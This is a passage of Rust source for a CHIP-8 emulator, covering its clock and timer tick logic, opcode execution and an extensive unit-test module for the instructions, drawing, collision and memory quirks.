implementation of `tick` that ignores `debug_mode` fn tick_internal(&mut self, delta: Duration) -> Chip8Result<Chip8Output> { self.clock_tick_accumulator += delta; let mut output = Chip8Output::None; while self.clock_tick_accumulator >= self.clock_speed { self.clock_tick_accumulator -= self.clock_speed; self.timer_tick_accumulator += self.clock_speed; if self.timer_tick_accumulator > self.timer_speed { self.delay_timer = self.delay_timer.saturating_sub(1); self.sound_timer = self.sound_timer.saturating_sub(1); self.timer_tick_accumulator -= self.timer_speed; } let cycle_output = self.cycle()?; output = Chip8Output::combine(output, Chip8Output::Tick); output = Chip8Output::combine(output, cycle_output); } Ok(output) } /// Execute one cycle of the chip8 interpreter. pub fn cycle(&mut self) -> Chip8Result<Chip8Output> { if self.state != Chip8State::Running { return Ok(Chip8Output::None); } let opcode = self.read_opcode()?; self.pc += 2; self.execute_opcode(opcode.clone())?; match opcode { Opcode::Draw { x: _, y: _, n: _ } => Ok(Chip8Output::Redraw), _ => Ok(Chip8Output::None), } } pub fn cycle_n(&mut self, times: u32) -> Chip8Result<()> { for _ in 0..times { self.cycle()?; } Ok(()) } fn read_opcode(&self) -> Chip8Result<Opcode> { let pc = self.pc as usize; let opcode_bytes = [self.memory[pc], self.memory[pc+1]]; Opcode::from_bytes(&opcode_bytes) } fn execute_opcode(&mut self, opcode: Opcode) -> Chip8Result<()> { match opcode { // Flow Control Opcode::CallSubroutine(address) => self.op_call_subroutine(address), Opcode::Return => self.op_return()?, Opcode::Jump(address) => self.pc = address, Opcode::JumpWithOffset(address) => self.pc = address + (self.v[0] as u16), // Conditional Execution Opcode::SkipNextIfEqual { x, value } => self.op_skip_next_if(self.v[x as usize] == value), Opcode::SkipNextIfNotEqual { x, value } => self.op_skip_next_if(self.v[x as usize] != value), Opcode::SkipNextIfRegisterEqual { x, y } => self.op_skip_next_if(self.v[x as usize] == self.v[y as usize]), Opcode::SkipNextIfRegisterNotEqual { x, y } => self.op_skip_next_if(self.v[x as usize] != self.v[y as usize]), // Manipulate `Vx` Opcode::LoadConstant { x, value } => self.v[x as usize] = value, Opcode::Load { x, y } => self.v[x as usize] = self.v[y as usize], Opcode::Or { x, y } => self.v[x as usize] = self.v[x as usize] | self.v[y as usize], Opcode::And { x, y } => self.v[x as usize] = self.v[x as usize] & self.v[y as usize], Opcode::Xor { x, y } => self.v[x as usize] = self.v[x as usize] ^ self.v[y as usize], Opcode::Add { x, y } => self.op_add(x, y), Opcode::AddConstant { x, value } => self.v[x as usize] = self.v[x as usize].wrapping_add(value), Opcode::SubtractXY { x, y } => self.op_subtract(x, x, y), Opcode::SubtractYX { x, y } => self.op_subtract(x, y, x), Opcode::ShiftRight { x, y } => self.op_shift_right(x, y), Opcode::ShiftLeft { x, y } => self.op_shift_left(x, y), // Manipulate `I` Opcode::IndexAddress(address) => self.i = address, Opcode::AddAddress { x } => self.i += self.v[x as usize] as u16, Opcode::IndexFont { x } => self.i = Chip8::FONT_START + (self.v[x as usize] as u16 * 5), // Manipulate Memory Opcode::WriteMemory { x } => self.op_write_memory(x), Opcode::ReadMemory { x } => self.op_read_memory(x), Opcode::WriteBCD { x } => self.op_store_bcd(x), // IO Opcodes Opcode::SkipIfKeyPressed { x } => self.op_skip_if_key_pressed(x), Opcode::SkipIfKeyNotPressed { x } => self.op_skip_if_key_not_pressed(x), Opcode::WaitForKeyRelease { x } => self.state = Chip8State::WaitingForKey { target_register: x }, Opcode::LoadDelayIntoRegister { x } => self.v[x as usize] = self.delay_timer, Opcode::LoadRegisterIntoDelay { x } => self.delay_timer = self.v[x as usize], Opcode::LoadRegisterIntoSound { x } => self.sound_timer = self.v[x as usize], Opcode::Random { x, mask } => self.op_rand(x, mask), Opcode::ClearScreen => self.gpu.clear(), Opcode::Draw { x, y, n } => self.op_draw(x, y, n), } Ok(()) } fn op_call_subroutine(&mut self, address: Address) { self.stack.push(self.pc); self.pc = address; } fn op_return(&mut self) -> Chip8Result<()> { self.pc = self.stack.pop().ok_or(Chip8Error::StackUnderflow)?; Ok(()) } fn op_skip_next_if(&mut self, expression: bool) { if expression { self.pc += 2 } } fn op_skip_if_key_pressed(&mut self, x: Register) { let key = self.v[x as usize]; self.op_skip_next_if(self.keys[key as usize] == true) } fn op_skip_if_key_not_pressed(&mut self, x: Register) { let key = self.v[x as usize]; self.op_skip_next_if(self.keys[key as usize] == false) } fn op_store_bcd(&mut self, x: Register) { let x = x as usize; let i = self.i as usize; self.memory[i] = self.v[x] / 100; // Value of the first digit self.memory[i + 1] = (self.v[x] / 10) % 10; // Value of the second digit self.memory[i + 2] = self.v[x] % 10; // Value of the third digit } fn op_rand(&mut self, x: Register, mask: u8) { let value: u8 = self.rng.gen(); self.v[x as usize] = value & mask; } fn op_add(&mut self, x: Register, y: Register) { let (result, carry) = self.v[x as usize].overflowing_add(self.v[y as usize]); self.v[x as usize] = result; self.v[0xF] = carry as u8; } fn op_subtract(&mut self, target: Register, x: Register, y: Register) { let (result, carry) = self.v[x as usize].overflowing_sub(self.v[y as usize]); self.v[target as usize] = result; self.v[0xF] = !carry as u8; } fn op_shift_right(&mut self, x: Register, y: Register) { let source: &mut u8 = match self.bit_shift_quirk { BitShiftQuirk::ShiftYIntoX => &mut self.v[y as usize], BitShiftQuirk::ShiftX => &mut self.v[x as usize], }; let least_significant_bit = *source & 0b00000001; self.v[x as usize] = source.wrapping_shr(1); self.v[0xF] = least_significant_bit; } fn op_shift_left(&mut self, x: Register, y: Register) { let source: &mut u8 = match self.bit_shift_quirk { BitShiftQuirk::ShiftYIntoX => &mut self.v[y as usize], BitShiftQuirk::ShiftX => &mut self.v[x as usize], }; let most_significant_bit = (*source >> 7) & 1; self.v[x as usize] = source.wrapping_shl(1); self.v[0xF] = most_significant_bit; } fn op_draw(&mut self, x: Register, y: Register, n: u8) { let x = self.v[x as usize] as usize; let y = self.v[y as usize] as usize; let sprite: Vec<u8> = (0..n).map(|y| self.memory[(self.i + y as u16) as usize]).collect(); match self.gpu.draw(x, y, sprite) { gpu::DrawResult::NoCollision => self.v[0xF] = 0, gpu::DrawResult::Collision => self.v[0xF] = 1 } } fn op_write_memory(&mut self, x: Register) { for register in 0..=(x as usize) { self.memory[self.i as usize + register] = self.v[register]; } if self.read_write_increment_quirk == ReadWriteIncrementQuirk::IncrementIndex { self.i += (x + 1) as u16; } } fn op_read_memory(&mut self, x: Register) { for register in 0..=(x as usize) { self.v[register] = self.memory[self.i as usize + register]; } if self.read_write_increment_quirk == ReadWriteIncrementQuirk::IncrementIndex { self.i += (x + 1) as u16; } } } #[cfg(test)] mod tests { use super::*; #[test] pub fn program_counter_increases_after_cycle() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xF } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle().unwrap(); assert_eq!(chip8.pc, 0x202); } #[test] pub fn tick_cycles_cpu_after_enough_time_has_passed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xF } ])); assert_eq!(chip8.v[0x0], 0x0); chip8.tick(chip8.clock_speed).unwrap(); assert_eq!(chip8.v[0x0], 0xF); } #[test] pub fn tick_does_not_cycle_if_not_enough_time_has_passed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xF } ])); chip8.tick(Duration::new(0, 0)).unwrap(); assert_eq!(chip8.v[0x0], 0x0); } #[test] pub fn tick_cycles_multiple_times_if_a_lot_of_time_has_passed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x05 }, Opcode::LoadConstant { x: 0x1, value: 0xAA }, Opcode::LoadConstant { x: 0x2, value: 0xBB }, ])); chip8.tick(chip8.clock_speed * 3).unwrap(); assert_eq!(chip8.v[0x0], 0x05); assert_eq!(chip8.v[0x1], 0xAA); assert_eq!(chip8.v[0x2], 0xBB); } #[test] pub fn tick_decreases_sound_timer_if_enough_time_has_passed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x8 }, Opcode::LoadRegisterIntoSound { x: 0x0 }, // Infinite Loop because decreasing sound takes many cycles Opcode::LoadConstant { x: 0x1, value: 0xFA }, Opcode::Jump(Chip8::PROGRAM_START + 3 * 2) ])); chip8.tick(chip8.clock_speed * 2).unwrap(); assert_eq!(chip8.sound_timer, 0x8); chip8.tick(chip8.timer_speed).unwrap(); assert_eq!(chip8.sound_timer, 0x7); } #[test] pub fn tick_decreases_delay_timer_if_enough_time_has_passed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x8 }, Opcode::LoadRegisterIntoDelay { x: 0x0 }, // Infinite Loop because decreasing sound takes many cycles Opcode::LoadConstant { x: 0x1, value: 0xFA }, Opcode::Jump(Chip8::PROGRAM_START + 3 * 2) ])); chip8.tick(chip8.clock_speed * 2).unwrap(); assert_eq!(chip8.delay_timer, 0x8); chip8.tick(chip8.timer_speed).unwrap(); assert_eq!(chip8.delay_timer, 0x7); } /// When we call `tick` we may execute several cycles and decrease the timer several times. /// /// We need to ensure the operations are correctly interleaved. #[test] pub fn tick_interleaves_cycles_and_timers_correctly() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x2 }, Opcode::LoadRegisterIntoDelay { x: 0x0 }, Opcode::LoadDelayIntoRegister { x: 0x0 }, Opcode::SkipNextIfEqual { x: 0x0, value: 0x0 }, Opcode::Jump(Chip8::PROGRAM_START + 2 * 2), Opcode::LoadConstant { x: 0xA, value: 0xFF }, ])); chip8.tick(chip8.clock_speed * 2 + chip8.timer_speed * 2 + chip8.clock_speed * 2).unwrap(); assert_eq!(chip8.v[0xA], 0xFF); } #[test] pub fn op_call_subroutine_and_return() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ // Jump to Main Opcode::Jump(0x200 + 6), // Subroutine Opcode::LoadConstant { x: 0xA, value: 0xAA }, Opcode::Return, // Main Opcode::LoadConstant { x: 0x1, value: 0xFF }, Opcode::CallSubroutine(0x200 + 2), Opcode::LoadConstant { x: 0x2, value: 0xBB } ])); chip8.cycle_n(6).unwrap(); assert_eq!(chip8.v[0x1], 0xFF); assert_eq!(chip8.v[0xA], 0xAA); assert_eq!(chip8.v[0x2], 0xBB); } #[test] pub fn op_jump() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::Jump(0x200 + 4), Opcode::LoadConstant { x: 0x0, value: 0xAA }, Opcode::LoadConstant { x: 0x1, value: 0xFF } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0x0); assert_eq!(chip8.v[0x1], 0xFF); } #[test] pub fn op_jump_with_offset() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x6 }, Opcode::JumpWithOffset(0x200), Opcode::LoadConstant { x: 0x1, value: 0xAA }, Opcode::LoadConstant { x: 0x2, value: 0xFF } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x1], 0x0); assert_eq!(chip8.v[0x2], 0xFF); } #[test] pub fn op_skip_next_if_equal() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::SkipNextIfEqual { x: 0x0, value: 0x0 } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle().unwrap(); assert_eq!(chip8.pc, 0x204); } #[test] pub fn op_skip_next_if_equal_dont_skip_if_not_equal() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::SkipNextIfEqual { x: 0x0, value: 0xA } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle().unwrap(); assert_eq!(chip8.pc, 0x202); } #[test] pub fn op_skip_next_if_not_equal() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::SkipNextIfNotEqual { x: 0x0, value: 0x1 } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle().unwrap(); assert_eq!(chip8.pc, 0x204); } #[test] pub fn op_skip_next_if_register_equal() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xA }, Opcode::LoadConstant { x: 0x1, value: 0xA }, Opcode::SkipNextIfRegisterEqual { x: 0x0, y: 0x1 } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.pc, 0x208); } #[test] pub fn op_skip_next_if_register_not_equal() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xA }, Opcode::LoadConstant { x: 0x1, value: 0xB }, Opcode::SkipNextIfRegisterNotEqual { x: 0x0, y: 0x1 } ])); assert_eq!(chip8.pc, 0x200); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.pc, 0x208); } #[test] pub fn op_skip_if_key_pressed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xA }, Opcode::SkipIfKeyPressed { x: 0x0 }, Opcode::LoadConstant { x: 0x1, value: 0xA }, Opcode::LoadConstant { x: 0x2, value: 0xB } ])); chip8.press_key(0xA); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x1], 0x0); assert_eq!(chip8.v[0x2], 0xB); } #[test] pub fn op_skip_if_key_not_pressed() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xA }, Opcode::SkipIfKeyNotPressed { x: 0x0 }, Opcode::LoadConstant { x: 0x1, value: 0xA }, Opcode::LoadConstant { x: 0x2, value: 0xB } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x1], 0x0); assert_eq!(chip8.v[0x2], 0xB); } #[test] pub fn op_wait_for_key_release() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::WaitForKeyRelease { x: 0xA }, Opcode::LoadConstant { x: 0x1, value: 0xA } ])); chip8.press_key(0xA); chip8.cycle_n(10).unwrap(); assert_eq!(chip8.v[0x1], 0x0); chip8.press_key(0x3); chip8.release_key(0x3); chip8.cycle_n(1).unwrap(); assert_eq!(chip8.v[0x1], 0xA); assert_eq!(chip8.v[0xA], 0x3); } #[test] pub fn op_store_constant() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xF } ])); chip8.cycle().unwrap(); assert_eq!(chip8.v[0], 0x0F); } #[test] pub fn op_add_constant() { let mut chip8 = Chip8::new_with_rom(vec![0x71, 0x0F]); chip8.cycle().unwrap(); assert_eq!(chip8.v[1], 0x0F); } #[test] pub fn op_store() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 1, value: 0x15 }, Opcode::Load { x: 2, y: 1 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[2], 0x15); } #[test] pub fn op_store_address() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(0xFFF) ])); chip8.cycle().unwrap(); assert_eq!(chip8.i, 0xFFF); } #[test] pub fn op_add_address() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(0x1), Opcode::LoadConstant { x: 0x0, value: 0x1 }, Opcode::AddAddress { x: 0x0 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.i, 0x2); } #[test] pub fn op_store_bcd_one_digit() { let address = 0x200 + 100; let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(address), Opcode::LoadConstant { x: 0, value: 3 }, Opcode::WriteBCD { x: 0 }, ])); chip8.cycle_n(3).unwrap(); let address = address as usize; assert_eq!(chip8.memory[address..address+3], [0, 0, 3]); } #[test] pub fn op_store_bcd_two_digits() { let address = 0x200 + 100; let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(address), Opcode::LoadConstant { x: 0, value: 47 }, Opcode::WriteBCD { x: 0 }, ])); chip8.cycle_n(3).unwrap(); let address = address as usize; assert_eq!(chip8.memory[address..address+3], [0, 4, 7]); } #[test] pub fn op_store_bcd_three_digits() { let address = 0x200 + 100; let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(address), Opcode::LoadConstant { x: 0, value: 255 }, Opcode::WriteBCD { x: 0 }, ])); chip8.cycle_n(3).unwrap(); let address = address as usize; assert_eq!(chip8.memory[address..address+3], [2, 5, 5]); } #[test] pub fn op_store_sound() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0, value: 0x5 }, Opcode::LoadRegisterIntoSound { x: 0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.sound_timer, 0x5); } #[test] pub fn op_store_delay() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0, value: 0x5 }, Opcode::LoadRegisterIntoDelay { x: 0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.delay_timer, 0x5); } #[test] pub fn op_read_delay() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0, value: 0x5 }, Opcode::LoadRegisterIntoDelay { x: 0 }, Opcode::LoadDelayIntoRegister { x: 1 }, ])); chip8.cycle_n(3).unwrap(); // Delay only decreases when we use `tick` so it should // be what we set assert_eq!(chip8.v[0x1], 0x5); } #[test] pub fn op_random_can_be_deterministicly_seeded() { let rom = Opcode::to_rom(vec![ Opcode::Random { x: 0, mask: 0xFF }, Opcode::Random { x: 1, mask: 0xFF } ]); let mut chip8 = Chip8::new_with_rom(rom) .with_seed(0); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0], 0x6C); assert_eq!(chip8.v[1], 0x67); } #[test] pub fn op_random_masks_result() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::Random { x: 0, mask: 0x0F } ])); chip8.cycle().unwrap(); assert_eq!(chip8.v[0], chip8.v[0] & 0x0F); } #[test] pub fn op_or() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b11110000 }, Opcode::LoadConstant { x: 0x1, value: 0b00001111 }, Opcode::Or { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0b11111111); } #[test] pub fn op_and() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b11110000 }, Opcode::LoadConstant { x: 0x1, value: 0b00001111 }, Opcode::And { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0b00000000); } #[test] pub fn op_xor() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b11111000 }, Opcode::LoadConstant { x: 0x1, value: 0b00011111 }, Opcode::Xor { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0b11100111); } #[test] pub fn op_add() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x1 }, Opcode::LoadConstant { x: 0x1, value: 0x2 }, Opcode::Add { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0x3); } #[test] pub fn op_add_overflow() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xFF }, Opcode::LoadConstant { x: 0x1, value: 0xFF }, Opcode::Add { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); println!("{:x?}", chip8.v[0x0]); assert_eq!(chip8.v[0x0], 0xFE); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_subtract_x_y() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x5 }, Opcode::LoadConstant { x: 0x1, value: 0x1 }, Opcode::SubtractXY { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0x4); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_subtract_x_y_overflow() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x0 }, Opcode::LoadConstant { x: 0x1, value: 0x1 }, Opcode::SubtractXY { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0xFF); assert_eq!(chip8.v[0xF], 0x0); } #[test] pub fn op_subtract_y_x() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x1 }, Opcode::LoadConstant { x: 0x1, value: 0x5 }, Opcode::SubtractYX { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0x4); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_subtract_y_x_overflow() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0x1 }, Opcode::LoadConstant { x: 0x1, value: 0x0 }, Opcode::SubtractYX { x: 0x0, y: 0x1 } ])); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0x0], 0xFF); assert_eq!(chip8.v[0xF], 0x0); } #[test] pub fn op_shift_right() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b00000010 }, Opcode::ShiftRight { x: 0x0, y: 0x0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000001); } #[test] pub fn op_shift_right_capture_msb() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b00000011 }, Opcode::ShiftRight { x: 0x0, y: 0x0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000001); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_shift_right_shift_y_into_x_quirk() { let rom = Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x1, value: 0b00000011 }, Opcode::ShiftRight { x: 0x0, y: 0x1 } ]); let mut chip8 = Chip8::new_with_rom(rom) .with_bit_shift_quirk(BitShiftQuirk::ShiftYIntoX); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000001); assert_eq!(chip8.v[0x1], 0b00000011); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_shift_left() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b00000011 }, Opcode::ShiftLeft { x: 0x0, y: 0x0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000110); } #[test] pub fn op_shift_left_capture_lsb() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0b10000011 }, Opcode::ShiftLeft { x: 0x0, y: 0x0 } ])); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000110); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_shift_left_shift_y_into_x_quirk() { let rom = Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x1, value: 0b10000011 }, Opcode::ShiftLeft { x: 0x0, y: 0x1 } ]); let mut chip8 = Chip8::new_with_rom(rom) .with_bit_shift_quirk(BitShiftQuirk::ShiftYIntoX); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0b00000110); assert_eq!(chip8.v[0x1], 0b10000011); assert_eq!(chip8.v[0xF], 0x1); } #[test] pub fn op_clear_screen() { let mut rom: Vec<u8> = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + (2 * 3)), // Store the address of the first byte below Opcode::Draw { x: 0, y: 0, n: 0x1 }, Opcode::ClearScreen ]); rom.extend(vec![0b11110000]); let mut chip8 = Chip8::new_with_rom(rom); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.gpu.to_gfx_slice(0, 8, 0, 1), [[0,0,0,0,0,0,0,0]]); } #[test] pub fn op_draw() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x1, value: 0xA }, Opcode::IndexFont { x: 0x1 }, Opcode::LoadConstant { x: 0x0, value: 0 }, Opcode::Draw { x: 0x0, y: 0x0, n: 0x5 } ])); chip8.cycle_n(4).unwrap(); assert_eq!(chip8.gpu.to_gfx_slice(0, 8, 0, 5), [ [1,1,1,1,0,0,0,0], [1,0,0,1,0,0,0,0], [1,1,1,1,0,0,0,0], [1,0,0,1,0,0,0,0], [1,0,0,1,0,0,0,0], ]); } #[test] pub fn op_draw_at_offset() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::LoadConstant { x: 0x0, value: 0xA }, Opcode::IndexFont { x: 0x0 }, Opcode::LoadConstant { x: 0x0, value: 38 }, Opcode::LoadConstant { x: 0x1, value: 20 }, Opcode::Draw { x: 0x0, y: 0x1, n: 0x5 } ])); chip8.cycle_n(5).unwrap(); assert_eq!(chip8.gpu.to_gfx_slice(38, 8, 20, 5), [ [1,1,1,1,0,0,0,0], [1,0,0,1,0,0,0,0], [1,1,1,1,0,0,0,0], [1,0,0,1,0,0,0,0], [1,0,0,1,0,0,0,0], ]); } #[test] pub fn op_draw_xors_overlapping_pixels() { let mut rom: Vec<u8> = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + (2 * 5)), // Store the address of the first byte below Opcode::LoadConstant { x: 0x0, value: 0 }, Opcode::Draw { x: 0x0, y: 0x0, n: 0x1 }, Opcode::IndexAddress(0x200 + (2 * 5) + 1), // Store the address of the second byte below Opcode::Draw { x: 0x0, y: 0x0, n: 0x1 }, ]); rom.extend(vec![0b11110000, 0b01101111]); let mut chip8 = Chip8::new_with_rom(rom); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.gpu.to_gfx_slice(0, 8, 0, 1), [[1, 1, 1, 1, 0, 0, 0, 0]]); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.gpu.to_gfx_slice(0, 8, 0, 1), [[1, 0, 0, 1, 1, 1, 1, 1]]); } /// When `draw` overlaps a sprite we expect it to delete the existing pixels and sets `VF` to `1`. /// /// This behavior is commonly used for collision detection #[test] pub fn op_draw_collision_detection() { let mut rom: Vec<u8> = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + (2 * 5)), // Store the address of the first byte below Opcode::LoadConstant { x: 0x0, value: 0 }, Opcode::Draw { x: 0x0, y: 0x0, n: 0x1 }, Opcode::IndexAddress(0x200 + (2 * 5) + 1), // Store the address of the second byte below Opcode::Draw { x: 0x0, y: 0x0, n: 0x1 }, ]); rom.extend(vec![0b11110000, 0b01101111]); let mut chip8 = Chip8::new_with_rom(rom); chip8.cycle_n(3).unwrap(); assert_eq!(chip8.v[0xF], 0); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0xF], 1); } #[test] pub fn op_write_memory() { let mut chip8 = Chip8::new_with_rom(Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + 100), Opcode::LoadConstant { x: 0x0, value: 0xFF }, Opcode::LoadConstant { x: 0x1, value: 0xAA }, Opcode::LoadConstant { x: 0x2, value: 0xBB }, Opcode::WriteMemory { x: 0x2 } ])); chip8.cycle_n(5).unwrap(); assert_eq!(chip8.memory[0x200 + 100], 0xFF); assert_eq!(chip8.memory[0x200 + 101], 0xAA); assert_eq!(chip8.memory[0x200 + 102], 0xBB); assert_eq!(chip8.i, 0x200 + 100); } /// When using multiple `Opcode::WriteMemory`'s sequentually we expect it to start writing from /// where the previous write stopped. #[test] pub fn op_write_memory_consecutive() { let rom = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + 100), Opcode::LoadConstant { x: 0x0, value: 0xFF }, Opcode::LoadConstant { x: 0x1, value: 0xAA }, Opcode::WriteMemory { x: 0x1 }, Opcode::LoadConstant { x: 0x0, value: 0x11 }, Opcode::LoadConstant { x: 0x1, value: 0x21 }, Opcode::WriteMemory { x: 0x1 } ]); let mut chip8 = Chip8::new_with_rom(rom) .with_read_write_increment_quirk(ReadWriteIncrementQuirk::IncrementIndex); chip8.cycle_n(7).unwrap(); assert_eq!(chip8.memory[0x200 + 100 .. 0x200 + 100 + 4], [0xFF, 0xAA, 0x11, 0x21]); } #[test] pub fn op_read_memory() { let mut rom: Vec<u8> = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + 4), // Store the address of the first byte below our opcodes Opcode::ReadMemory { x: 0x1 } ]); rom.extend(vec![0xAA, 0xFA]); let mut chip8 = Chip8::new_with_rom(rom); chip8.cycle_n(2).unwrap(); assert_eq!(chip8.v[0x0], 0xAA); assert_eq!(chip8.v[0x1], 0xFA); assert_eq!(chip8.i, 0x200 + 4); } /// When using multiple `Opcode::ReadMemory`'s sequentually we expect it to start reading from /// where the previous read stopped. #[test] pub fn op_read_memory_consecutive_with_quirk() { let mut rom: Vec<u8> = Opcode::to_rom(vec![ Opcode::IndexAddress(0x200 + 6), // Store the address of the first byte below our opcodes Opcode::ReadMemory { x: 0x1 }, Opcode::ReadMemory { x: 0x1 } ]); rom.extend(vec![0xAA, 0xFA, 0x01, 0x02]); let mut chip8 = Chip8::new_with_rom(rom) 